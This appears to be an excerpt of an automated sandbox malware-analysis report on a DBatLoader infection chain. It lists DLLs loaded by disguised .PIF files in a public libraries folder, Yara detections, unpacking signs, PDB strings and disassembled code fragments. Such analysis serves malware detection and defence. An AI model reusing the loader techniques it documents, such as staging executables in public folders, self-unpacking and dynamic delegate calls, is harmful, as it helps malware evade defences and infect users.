Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ????.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ???e???????????.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ???e???????????.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: tquery.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: cryptdll.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: spp.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: vssapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: vsstrace.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: spp.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: vssapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: vsstrace.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: spp.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: vssapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: vsstrace.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppwmi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: slc.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppcext.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: winscard.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: devobj.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: cryptsp.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: rsaenh.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: cryptbase.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: uxtheme.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: mscoree.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: wldp.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: amsi.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: userenv.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: profapi.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: version.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: gpapi.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: cryptsp.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: rsaenh.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: cryptbase.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: windows.storage.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: rasapi32.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: rasman.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: rtutils.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: mswsock.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: winhttp.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: iphlpapi.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: dhcpcsvc6.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: dhcpcsvc.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: dnsapi.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: winnsi.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: rasadhlp.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: fwpuclnt.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: secur32.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: sspicli.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: schannel.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: mskeyprotect.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: ntasn1.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: ncrypt.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: ncryptsslp.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: dpapi.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: msv1_0.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: ntlmshared.dll
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Section loaded: cryptdll.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: version.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: uxtheme.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: url.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ieframe.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: iertutil.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: netapi32.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: userenv.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: winhttp.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: wkscli.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: netutils.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: amsi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: smartscreenps.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: winmm.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: wininet.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sspicli.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: windows.storage.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: wldp.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: profapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ieproxy.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ieproxy.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ieproxy.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: mswsock.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: iphlpapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: winnsi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ??????????.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ??.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ???.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ???.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ???.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ????.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ???e???????????.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ???e???????????.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: tquery.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: cryptdll.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: spp.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: vssapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: vsstrace.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: spp.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: vssapi.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: vsstrace.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section loaded: msasn1.dll

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: brightness.exe, 00000007.00000002.2161329052.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000003.2123335576.000000007F410000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.000000002064A000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2273558803.000000001A4F6000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2349806215.0000000020806000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: brightness.exe, 00000007.00000002.2161329052.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.0000000021382000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000007.00000003.2124248184.0000000000741000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000007.00000003.2123335576.000000007F410000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2245722852.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.000000002064A000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2245722852.0000000000874000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324467170.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324467170.0000000000821000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\Public\Libraries\jphwmyiA.pif	Unpacked PE file: 10.2.jphwmyiA.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Unpacked PE file: 15.2.jphwmyiA.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Unpacked PE file: 19.2.jphwmyiA.pif.400000.1.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\jphwmyiA.pif	Unpacked PE file: 10.2.jphwmyiA.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Unpacked PE file: 15.2.jphwmyiA.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Unpacked PE file: 19.2.jphwmyiA.pif.400000.1.unpack

Yara detected DBatLoader

Source: Yara match	File source: 7.2.brightness.exe.20f65a8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.brightness.exe.27b0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.brightness.exe.20f65a8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2166181878.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2130519568.00000000020F6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000001.2327344722.0000000000B90000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3731678723.0000000000B90000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3731530309.0000000000C20000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2128731771.0000000000C20000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000001.2248691179.0000000000B90000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3731782871.0000000000B90000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

.NET source code contains method to dynamically call methods (often used by packers)

Source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: jphwmyiA.pif.7.dr

Static PE information: 0x7BBD3E91 [Sun Oct 14 18:38:09 2035 UTC]

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 7_2_027C8798 LoadLibraryW,GetProcAddress,FreeLibrary,

7_2_027C8798

Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027DD2FC push 027DD367h; ret	7_2_027DD35F
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027B32FC push eax; ret	7_2_027B3338
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027B635A push 027B63B7h; ret	7_2_027B63AF
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027B635C push 027B63B7h; ret	7_2_027B63AF
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027DD0AC push 027DD125h; ret	7_2_027DD11D
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027DD144 push 027DD1ECh; ret	7_2_027DD1E4
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027DD1F8 push 027DD288h; ret	7_2_027DD280
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C86B8 push 027C86FAh; ret	7_2_027C86F2
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027B6738 push 027B677Ah; ret	7_2_027B6772
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027B6736 push 027B677Ah; ret	7_2_027B6772
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027BC4EC push ecx; mov dword ptr [esp], edx	7_2_027BC4F1
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027BD520 push 027BD54Ch; ret	7_2_027BD544
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027BCB6C push 027BCCF2h; ret	7_2_027BCCEA
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C68C8 push 027C6973h; ret	7_2_027C696B
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C68C6 push 027C6973h; ret	7_2_027C696B
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C788C push 027C7909h; ret	7_2_027C7901
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027CA918 push 027CA950h; ret	7_2_027CA948
